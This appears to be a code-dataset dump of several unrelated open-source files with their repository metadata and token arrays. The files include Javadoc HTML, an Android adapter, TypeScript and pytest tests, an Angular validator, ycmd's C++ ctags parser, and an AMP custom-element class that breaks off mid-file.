========= END OF TOP NAVBAR ========= --> <div class="header"> <h1 title="Package" class="title">Package&nbsp;mil.nga.sf.wkb</h1> </div> <div class="contentContainer"> <ul class="blockList"> <li class="blockList"> <table class="typeSummary" border="0" cellpadding="3" cellspacing="0" summary="Class Summary table, listing classes, and an explanation"> <caption><span>Class Summary</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Class</th> <th class="colLast" scope="col">Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><a href="../../../../mil/nga/sf/wkb/GeometryCodes.html" title="class in mil.nga.sf.wkb">GeometryCodes</a></td> <td class="colLast"> <div class="block">Geometry Code utilities to convert between geometry attributes and geometry codes</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="../../../../mil/nga/sf/wkb/GeometryReader.html" title="class in mil.nga.sf.wkb">GeometryReader</a></td> <td class="colLast"> <div class="block">Well Known Binary reader</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><a href="../../../../mil/nga/sf/wkb/GeometryTypeInfo.html" title="class in mil.nga.sf.wkb">GeometryTypeInfo</a></td> <td class="colLast"> <div class="block">Geometry type info</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="../../../../mil/nga/sf/wkb/GeometryWriter.html" title="class in mil.nga.sf.wkb">GeometryWriter</a></td> <td class="colLast"> <div class="block">Well Known Binary writer</div> </td> </tr> </tbody> </table> </li> </ul> </div> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar.bottom"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.bottom.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../mil/nga/sf/wkb/package-summary.html">Package</a></li> <li>Class</li> <li><a href="package-use.html">Use</a></li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-all.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev&nbsp;Package</li> <li>Next&nbsp;Package</li> </ul> <ul class="navList"> <li><a href="../../../../index.html?mil/nga/sf/wkb/package-summary.html" target="_top">Frames</a></li> <li><a href="package-summary.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip.navbar.bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> <p class="legalCopy"><small>Copyright &#169; 2020 <a href="https://www.nga.mil/">National Geospatial-Intelligence Agency</a>. All rights reserved.</small></p> </body> </html>
ngageoint/geopackage-wkb-java
docs/docs/api/mil/nga/sf/wkb/package-summary.html
HTML
mit
5,589
[ 30522, 1026, 999, 9986, 13874, 16129, 2270, 1000, 1011, 1013, 1013, 1059, 2509, 2278, 1013, 1013, 26718, 2094, 16129, 1018, 1012, 5890, 17459, 1013, 1013, 4372, 1000, 1000, 8299, 1024, 1013, 1013, 7479, 1012, 1059, 2509, 1012, 8917, 1013, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
package com.devilwwj.app.adapters; import android.content.Context; import android.view.View; import android.view.ViewGroup; import android.widget.BaseAdapter; import java.util.ArrayList; import java.util.List; /** * @ClassName: AdapterBase * @Description: 通用Adapter * @author wwj_748 * @date 2015年6月17日 下午4:03:39 * @param <T> */ public abstract class AdapterBase <T> extends BaseAdapter{ protected final Context mContext; protected List<T> mData; protected final int[] mLayoutResArrays; public AdapterBase(Context context, int[] layoutResArray) { this(context, layoutResArray, null); } /** * @param context * @param layoutResArray * @param data */ public AdapterBase(Context context, int[] layoutResArray, List<T> data) { this.mData = data == null? new ArrayList<T>() : data; this.mContext = context; this.mLayoutResArrays = layoutResArray; } public void setData(ArrayList<T> data) { this.mData = data; this.notifyDataSetChanged(); } public void addData(ArrayList<T> data) { if (data != null) { this.mData.addAll(data); } this.notifyDataSetChanged(); } public void addData(T data) { this.mData.add(data); this.notifyDataSetChanged(); } public ArrayList<T> getAllData() { return (ArrayList<T>) this.mData; } @Override public int getCount() { if (this.mData == null) { return 0; } return this.mData.size(); } @Override public T getItem(int position) { if (position > this.mData.size()) { return null; } return mData.get(position); } @Override public long getItemId(int position) { return position; } @Override public int getViewTypeCount() { return this.mLayoutResArrays.length; } /** * You should always override this method,to return the * correct view type for every cell. * */ public int getItemViewType(int position){ return 0; } @Override public View getView(int position, View convertView, ViewGroup parent) { final ViewHolderHelper helper = getAdapterHelper(position, convertView, parent); T item = getItem(position); covert(helper, item); return helper.getView(); } protected abstract void covert(ViewHolderHelper helper, T item); protected abstract ViewHolderHelper getAdapterHelper(int position, View convertView, ViewGroup parent); }
fanatic-mobile-developer-for-android/A-week-to-develop-android-app-plan
AndroidQuickStartProject/app/src/main/java/com/devilwwj/app/adapters/AdapterBase.java
Java
apache-2.0
2,319
[ 30522, 7427, 4012, 1012, 6548, 2860, 2860, 3501, 1012, 10439, 1012, 15581, 2545, 1025, 12324, 11924, 1012, 4180, 1012, 6123, 1025, 12324, 11924, 1012, 3193, 1012, 3193, 1025, 12324, 30524, 18442, 1024, 15581, 2121, 15058, 1008, 1030, 6412, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
import { expect } from 'chai'; import 'mocha'; import { Integer, TestContext } from '../../..'; import { makeInteger } from './make-integer'; describe('make-integer', () => { it('should handle single digits', () => { const ctx = new TestContext("test"); const delayedValue = makeInteger("5"); const value = delayedValue(ctx) as Integer; expect(ctx.callCount).to.equal(0); expect(value.value).to.equal(5); expect(value.pretties).to.equal("5"); expect(value.dice()).to.equal(0); expect(value.depth()).to.equal(1); }); it('should handle multiple digits', () => { const ctx = new TestContext("test"); const delayedValue = makeInteger("189465"); const value = delayedValue(ctx) as Integer; expect(ctx.callCount).to.equal(0); expect(value.value).to.equal(189465);; expect(value.pretties).to.equal("189465"); expect(value.dice()).to.equal(0); expect(value.depth()).to.equal(1); }); it('should handle negative numbers', () => { const ctx = new TestContext("test"); const delayedValue = makeInteger("-189465"); const value = delayedValue(ctx) as Integer; expect(ctx.callCount).to.equal(0); expect(value.value).to.equal(-189465); expect(value.pretties).to.equal("-189465"); expect(value.dice()).to.equal(0); expect(value.depth()).to.equal(1); }); });
lemtzas/rollem-discord
packages/language/src/rollem-language-2/evaluators/unary/make-integer.spec.ts
TypeScript
mit
1,351
[ 30522, 12324, 1063, 5987, 1065, 2013, 1005, 15775, 2072, 1005, 1025, 12324, 1005, 9587, 7507, 1005, 1025, 12324, 1063, 16109, 1010, 3231, 8663, 18209, 1065, 2013, 1005, 1012, 1012, 1013, 1012, 1012, 1013, 1012, 1012, 1005, 1025, 12324, 1063...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
import pytest from tests.base import Author, Post, Comment, Keyword, fake def make_author(): return Author( id=fake.random_int(), first_name=fake.first_name(), last_name=fake.last_name(), twitter=fake.domain_word(), ) def make_post(with_comments=True, with_author=True, with_keywords=True): comments = [make_comment() for _ in range(2)] if with_comments else [] keywords = [make_keyword() for _ in range(3)] if with_keywords else [] author = make_author() if with_author else None return Post( id=fake.random_int(), title=fake.catch_phrase(), author=author, author_id=author.id if with_author else None, comments=comments, keywords=keywords, ) def make_comment(with_author=True): author = make_author() if with_author else None return Comment(id=fake.random_int(), body=fake.bs(), author=author) def make_keyword(): return Keyword(keyword=fake.domain_word()) @pytest.fixture() def author(): return make_author() @pytest.fixture() def authors(): return [make_author() for _ in range(3)] @pytest.fixture() def comments(): return [make_comment() for _ in range(3)] @pytest.fixture() def post(): return make_post() @pytest.fixture() def post_with_null_comment(): return make_post(with_comments=False) @pytest.fixture() def post_with_null_author(): return make_post(with_author=False) @pytest.fixture() def posts(): return [make_post() for _ in range(3)]
marshmallow-code/marshmallow-jsonapi
tests/conftest.py
Python
mit
1,521
[ 30522, 12324, 1052, 17250, 3367, 2013, 5852, 1012, 2918, 12324, 3166, 1010, 2695, 1010, 7615, 1010, 3145, 18351, 1010, 8275, 13366, 2191, 1035, 3166, 1006, 1007, 1024, 2709, 3166, 30524, 1007, 13366, 2191, 1035, 2695, 1006, 2007, 1035, 7928...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
import { Directive, forwardRef, Attribute, Input } from '@angular/core'; import { Validator, FormControl, AbstractControl, NG_VALIDATORS, NG_ASYNC_VALIDATORS } from '@angular/forms'; import { Observable } from "rxjs"; import { VerifyCodeService } from '../services/verify-code.service'; // 登录服务 @Directive({ selector: '[validateVcode][ngModel]', providers: [ { provide: NG_ASYNC_VALIDATORS, // ng2 async validator useExisting: forwardRef(() => VcodeValidatorDirective), multi: true } ] }) export class VcodeValidatorDirective implements Validator { constructor(public vCodeService: VerifyCodeService ) { } @Input('validateVcode') mobile: string; validateVcodeObservable(mobile: string, vcode: string) { return new Observable(observer => { this.vCodeService.validateVerifyCode(mobile, vcode).subscribe(responseData => { console.log(responseData); // if (responseData.errorCode === 1) { // // verify error. // observer.next({ validateVcode: { valid: false }, message="验证码错误,请重新输入。" }); // } else { // observer.next(null); // } }); }); } validate(c: AbstractControl): Observable<{[key : string] : any}> { return this.validateVcodeObservable(this.mobile, c.value).first(); } }
ar-insect/adminForNg2
src/app/directives/verifyCode-validator.directive.ts
TypeScript
mit
1,478
[ 30522, 12324, 1063, 16449, 1010, 2830, 2890, 2546, 1010, 17961, 1010, 7953, 1065, 2013, 1005, 1030, 16108, 1013, 4563, 1005, 1025, 12324, 1063, 9398, 8844, 1010, 2433, 8663, 13181, 2140, 1010, 10061, 8663, 13181, 2140, 1010, 12835, 1035, 93...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
// Copyright (C) 2011, 2012 Google Inc. // // This file is part of ycmd. // // ycmd is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // ycmd is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with ycmd. If not, see <http://www.gnu.org/licenses/>. #include "IdentifierUtils.h" #include "Utils.h" #include <boost/regex.hpp> #include <unordered_map> namespace YouCompleteMe { namespace fs = boost::filesystem; namespace { // For details on the tag format supported, see here for details: // http://ctags.sourceforge.net/FORMAT // TL;DR: The only supported format is the one Exuberant Ctags emits. // const char *const TAG_REGEX = // "^([^\\t\\n\\r]+)" // The first field is the identifier // "\\t" // A TAB char is the field separator // // The second field is the path to the file that has the identifier; either // // absolute or relative to the tags file. // "([^\\t\\n\\r]+)" // "\\t.*?" // Non-greedy everything // "(?:language:([^\\t\\n\\r]+))?" // We want to capture the language of the file // ; // Only used as the equality comparer for the below unordered_map which stores // const char* pointers and not std::string but needs to hash based on string // values and not pointer values. // When passed a const char* this will create a temporary std::string for // comparison, but it's fast enough for our use case. struct StringEqualityComparer : std::binary_function< std::string, std::string, bool > { bool operator()( const std::string &a, const std::string &b ) const { return a == b; } }; typedef std::unordered_map < const char *, const char *, std::hash< std::string >, StringEqualityComparer > StaticMap; const StaticMap *EXT_TO_FILETYPE = new StaticMap { { ".rb", "ruby" }, { ".h", "c" }, { ".c", "c" }, { ".lua", "lua" }, { ".php", "php" }, }; // List of languages Universal Ctags supports: // ctags --list-languages // To map a language name to a filetype, see this file: // :e $VIMRUNTIME/filetype.vim // This is a map of const char* and not std::string to prevent issues with // static initialization. const StaticMap *LANG_TO_FILETYPE = new StaticMap { { "Ada" , "ada" }, { "AnsiblePlaybook" , "ansibleplaybook" }, { "Ant" , "ant" }, { "Asm" , "asm" }, { "Asp" , "asp" }, { "Autoconf" , "autoconf" }, { "Automake" , "automake" }, { "Awk" , "awk" }, { "Basic" , "basic" }, { "BETA" , "beta" }, { "C" , "c" }, { "C#" , "cs" }, { "C++" , "cpp" }, { "Clojure" , "clojure" }, { "Cobol" , "cobol" }, { "CPreProcessor" , "cpreprocessor" }, { "CSS" , "css" }, { "ctags" , "ctags" }, { "CUDA" , "cuda" }, { "D" , "d" }, { "DBusIntrospect" , "dbusintrospect" }, { "Diff" , "diff" }, { "DosBatch" , "dosbatch" }, { "DTD" , "dtd" }, { "DTS" , "dts" }, { "Eiffel" , "eiffel" }, { "elm" , "elm" }, { "Erlang" , "erlang" }, { "Falcon" , "falcon" }, { "Flex" , "flex" }, { "Fortran" , "fortran" }, { "gdbinit" , "gdb" }, { "Glade" , "glade" }, { "Go" , "go" }, { "HTML" , "html" }, { "Iniconf" , "iniconf" }, { "ITcl" , "itcl" }, { "Java" , "java" }, { "JavaProperties" , "jproperties" }, { "JavaScript" , "javascript" }, { "JSON" , "json" }, { "LdScript" , "ldscript" }, { "Lisp" , "lisp" }, { "Lua" , "lua" }, { "M4" , "m4" }, { "Make" , "make" }, { "man" , "man" }, { "MatLab" , "matlab" }, { "Maven2" , "maven2" }, { "Myrddin" , "myrddin" }, { "ObjectiveC" , "objc" }, { "OCaml" , "ocaml" }, { "Pascal" , "pascal" }, { "passwd" , "passwd" }, { "Perl" , "perl" }, { "Perl6" , "perl6" }, { "PHP" , "php" }, { "PlistXML" , "plistxml" }, { "pod" , "pod" }, { "Protobuf" , "protobuf" }, { "PuppetManifest" , "puppet" }, { "Python" , "python" }, { "PythonLoggingConfig" , "pythonloggingconfig" }, { "QemuHX" , "qemuhx" }, { "R" , "r" }, { "RelaxNG" , "rng" }, { "reStructuredText" , "rst" }, { "REXX" , "rexx" }, { "Robot" , "robot" }, { "RpmSpec" , "spec" }, { "RSpec" , "rspec" }, { "Ruby" , "ruby" }, { "Rust" , "rust" }, { "Scheme" , "scheme" }, { "Sh" , "sh" }, { "SLang" , "slang" }, { "SML" , "sml" }, { "SQL" , "sql" }, { "SVG" , "svg" }, { "SystemdUnit" , "systemd" }, { "SystemVerilog" , "systemverilog" }, { "Tcl" , "tcl" }, { "TclOO" , "tcloo" }, { "Tex" , "tex" }, { "TTCN" , "ttcn" }, { "Vera" , "vera" }, { "Verilog" , "verilog" }, { "VHDL" , "vhdl" }, { "Vim" , "vim" }, { "WindRes" , "windres" }, { "XSLT" , "xslt" }, { "YACC" , "yacc" }, { "Yaml" , "yaml" }, { "YumRepo" , "yumrepo" }, { "Zephir" , "zephir" } }; } // unnamed namespace FiletypeIdentifierMap ExtractIdentifiersFromTagsFile( const fs::path &path_to_tag_file ) { FiletypeIdentifierMap filetype_identifier_map; std::string tags_file_contents; try { tags_file_contents = ReadUtf8File( path_to_tag_file ); } catch ( ... ) { return filetype_identifier_map; } std::istringstream istring {tags_file_contents}; std::string line; std::string const languageMarker{"language:"}; auto appendLine = [&]{ std::istringstream iline {line}; std::string identifier, p; if (!std::getline(iline, identifier, '\t')) { return; } if (!std::getline(iline, p, '\t')) { return; } std::string language; std::string filetype; while (std::getline(iline, language, '\t')) { if (language.size() <= languageMarker.size()) { break; } auto v = std::mismatch(languageMarker.begin(), languageMarker.end(), language.begin()); if (v.first == languageMarker.end()) { language.erase(language.begin(), v.second); filetype = FindWithDefault( *LANG_TO_FILETYPE, language.c_str(), Lowercase( language ).c_str() ); } } fs::path path( std::move(p) ); if (filetype.empty()) { language = boost::filesystem::extension(path); auto it = EXT_TO_FILETYPE->find( language.c_str() ); if (it == EXT_TO_FILETYPE->end()) { return; } // skip unknown extension type filetype = it->second; } path = NormalizePath( path, path_to_tag_file.parent_path() ); filetype_identifier_map[ std::move(filetype) ][ path.string() ].push_back( std::move(identifier) ); }; // skip prefix headerr while (std::getline(istring, line)) { if (!(line.length() > 0 && line[0] == '!')) { appendLine(); break; } } while (std::getline(istring, line)) { appendLine(); } return filetype_identifier_map; } } // namespace YouCompleteMe
SolaWing/ycmd
cpp/ycm/IdentifierUtils.cpp
C++
gpl-3.0
10,271
[ 30522, 1013, 1013, 9385, 1006, 1039, 1007, 2249, 1010, 2262, 8224, 4297, 1012, 1013, 1013, 1013, 1013, 2023, 5371, 2003, 2112, 1997, 1061, 27487, 2094, 1012, 1013, 1013, 1013, 1013, 1061, 27487, 2094, 2003, 2489, 4007, 1024, 2017, 2064, 2...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/** * Copyright 2015 The AMP HTML Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS-IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ import * as dom from './dom'; import {AmpEvents} from './amp-events'; import {CommonSignals} from './common-signals'; import {ElementStub} from './element-stub'; import { Layout, applyStaticLayout, isInternalElement, isLoadingAllowed, } from './layout'; import {LayoutDelayMeter} from './layout-delay-meter'; import {ResourceState} from './service/resource'; import {Services} from './services'; import {Signals} from './utils/signals'; import {blockedByConsentError, isBlockedByConsent, reportError} from './error'; import {createLoaderElement} from '../src/loader.js'; import {dev, devAssert, rethrowAsync, user, userAssert} from './log'; import {getIntersectionChangeEntry} from '../src/utils/intersection-observer-polyfill'; import {getMode} from './mode'; import {htmlFor} from './static-template'; import {parseSizeList} from './size-list'; import {setStyle} from './style'; import {shouldBlockOnConsentByMeta} from '../src/consent'; import {startupChunk} from './chunk'; import {toWin} from './types'; import {tryResolve} from '../src/utils/promise'; const TAG = 'CustomElement'; /** * @enum {number} */ const UpgradeState = { NOT_UPGRADED: 1, UPGRADED: 2, UPGRADE_FAILED: 3, UPGRADE_IN_PROGRESS: 4, }; /** * Caches whether the template tag is supported to avoid memory allocations. * @type {boolean|undefined} */ let templateTagSupported; /** * Whether this platform supports template tags. * @return {boolean} */ function isTemplateTagSupported() { if (templateTagSupported === undefined) { const template = self.document.createElement('template'); templateTagSupported = 'content' in template; } return templateTagSupported; } /** * Creates a named custom element class. * * @param {!Window} win The window in which to register the custom element. * @return {typeof AmpElement} The custom element class. */ export function createCustomElementClass(win) { const BaseCustomElement = /** @type {typeof HTMLElement} */ (createBaseCustomElementClass( win )); // It's necessary to create a subclass, because the same "base" class cannot // be registered to multiple custom elements. class CustomAmpElement extends BaseCustomElement {} return /** @type {typeof AmpElement} */ (CustomAmpElement); } /** * Creates a base custom element class. * * @param {!Window} win The window in which to register the custom element. * @return {typeof HTMLElement} */ function createBaseCustomElementClass(win) { if (win.__AMP_BASE_CE_CLASS) { return win.__AMP_BASE_CE_CLASS; } const htmlElement = /** @type {typeof HTMLElement} */ (win.HTMLElement); /** * @abstract @extends {HTMLElement} */ class BaseCustomElement extends htmlElement { /** */ constructor() { super(); this.createdCallback(); } /** * Called when elements is created. Sets instance vars since there is no * constructor. * @final */ createdCallback() { // Flag "notbuilt" is removed by Resource manager when the resource is // considered to be built. See "setBuilt" method. /** @private {boolean} */ this.built_ = false; /** * Several APIs require the element to be connected to the DOM tree, but * the CustomElement lifecycle APIs are async. This lead to subtle bugs * that require state tracking. See #12849, https://crbug.com/821195, and * https://bugs.webkit.org/show_bug.cgi?id=180940. * @private {boolean} */ this.isConnected_ = false; /** @private {?Promise} */ this.buildingPromise_ = null; /** @type {string} */ this.readyState = 'loading'; /** @type {boolean} */ this.everAttached = false; /** * Ampdoc can only be looked up when an element is attached. * @private {?./service/ampdoc-impl.AmpDoc} */ this.ampdoc_ = null; /** * Resources can only be looked up when an element is attached. * @private {?./service/resources-interface.ResourcesInterface} */ this.resources_ = null; /** @private {!Layout} */ this.layout_ = Layout.NODISPLAY; /** @private {number} */ this.layoutWidth_ = -1; /** @private {number} */ this.layoutHeight_ = -1; /** @private {number} */ this.layoutCount_ = 0; /** @private {boolean} */ this.isFirstLayoutCompleted_ = false; /** @private {boolean} */ this.isInViewport_ = false; /** @private {boolean} */ this.paused_ = false; /** @private {string|null|undefined} */ this.mediaQuery_ = undefined; /** @private {!./size-list.SizeList|null|undefined} */ this.sizeList_ = undefined; /** @private {!./size-list.SizeList|null|undefined} */ this.heightsList_ = undefined; /** @public {boolean} */ this.warnOnMissingOverflow = true; /** * This element can be assigned by the {@link applyStaticLayout} to a * child element that will be used to size this element. * @package {?Element|undefined} */ this.sizerElement = undefined; /** @private {boolean|undefined} */ this.loadingDisabled_ = undefined; /** @private {boolean|undefined} */ this.loadingState_ = undefined; /** @private {?Element} */ this.loadingContainer_ = null; /** @private {?Element} */ this.loadingElement_ = null; /** @private {?Element|undefined} */ this.overflowElement_ = undefined; /** * The time at which this element was scheduled for layout relative to * the epoch. This value will be set to 0 until the this element has been * scheduled. * Note that this value may change over time if the element is enqueued, * then dequeued and re-enqueued by the scheduler. * @type {number|undefined} */ this.layoutScheduleTime = undefined; // Closure compiler appears to mark HTMLElement as @struct which // disables bracket access. Force this with a type coercion. const nonStructThis = /** @type {!Object} */ (this); // `opt_implementationClass` is only used for tests. let Ctor = win.__AMP_EXTENDED_ELEMENTS && win.__AMP_EXTENDED_ELEMENTS[this.localName]; if (getMode().test && nonStructThis['implementationClassForTesting']) { Ctor = nonStructThis['implementationClassForTesting']; } devAssert(Ctor); /** @private {!./base-element.BaseElement} */ this.implementation_ = new Ctor(this); /** * An element always starts in a unupgraded state until it's added to DOM * for the first time in which case it can be upgraded immediately or wait * for script download or `upgradeCallback`. * @private {!UpgradeState} */ this.upgradeState_ = UpgradeState.NOT_UPGRADED; /** * Time delay imposed by baseElement upgradeCallback. If no * upgradeCallback specified or not yet executed, delay is 0. * @private {number} */ this.upgradeDelayMs_ = 0; /** * Action queue is initially created and kept around until the element * is ready to send actions directly to the implementation. * - undefined initially * - array if used * - null after unspun * @private {?Array<!./service/action-impl.ActionInvocation>|undefined} */ this.actionQueue_ = undefined; /** * Whether the element is in the template. * @private {boolean|undefined} */ this.isInTemplate_ = undefined; /** @private @const */ this.signals_ = new Signals(); const perf = Services.performanceForOrNull(win); /** @private {boolean} */ this.perfOn_ = perf && perf.isPerformanceTrackingOn(); /** @private {?./layout-delay-meter.LayoutDelayMeter} */ this.layoutDelayMeter_ = null; if (nonStructThis[dom.UPGRADE_TO_CUSTOMELEMENT_RESOLVER]) { nonStructThis[dom.UPGRADE_TO_CUSTOMELEMENT_RESOLVER](nonStructThis); delete nonStructThis[dom.UPGRADE_TO_CUSTOMELEMENT_RESOLVER]; delete nonStructThis[dom.UPGRADE_TO_CUSTOMELEMENT_PROMISE]; } } /** @return {!Signals} */ signals() { return this.signals_; } /** * Returns the associated ampdoc. Only available after attachment. It throws * exception before the element is attached. * @return {!./service/ampdoc-impl.AmpDoc} * @final * @package */ getAmpDoc() { devAssert(this.ampdoc_, 'no ampdoc yet, since element is not attached'); return /** @type {!./service/ampdoc-impl.AmpDoc} */ (this.ampdoc_); } /** * Returns Resources manager. Only available after attachment. It throws * exception before the element is attached. * @return {!./service/resources-interface.ResourcesInterface} * @final * @package */ getResources() { devAssert( this.resources_, 'no resources yet, since element is not attached' ); return /** @type {!./service/resources-interface.ResourcesInterface} */ (this .resources_); } /** * Whether the element has been upgraded yet. Always returns false when * the element has not yet been added to DOM. After the element has been * added to DOM, the value depends on the `BaseElement` implementation and * its `upgradeElement` callback. * @return {boolean} * @final */ isUpgraded() { return this.upgradeState_ == UpgradeState.UPGRADED; } /** @return {!Promise} */ whenUpgraded() { return this.signals_.whenSignal(CommonSignals.UPGRADED); } /** * Upgrades the element to the provided new implementation. If element * has already been attached, it's layout validation and attachment flows * are repeated for the new implementation. * @param {typeof ./base-element.BaseElement} newImplClass * @final @package */ upgrade(newImplClass) { if (this.isInTemplate_) { return; } if (this.upgradeState_ != UpgradeState.NOT_UPGRADED) { // Already upgraded or in progress or failed. return; } this.implementation_ = new newImplClass(this); 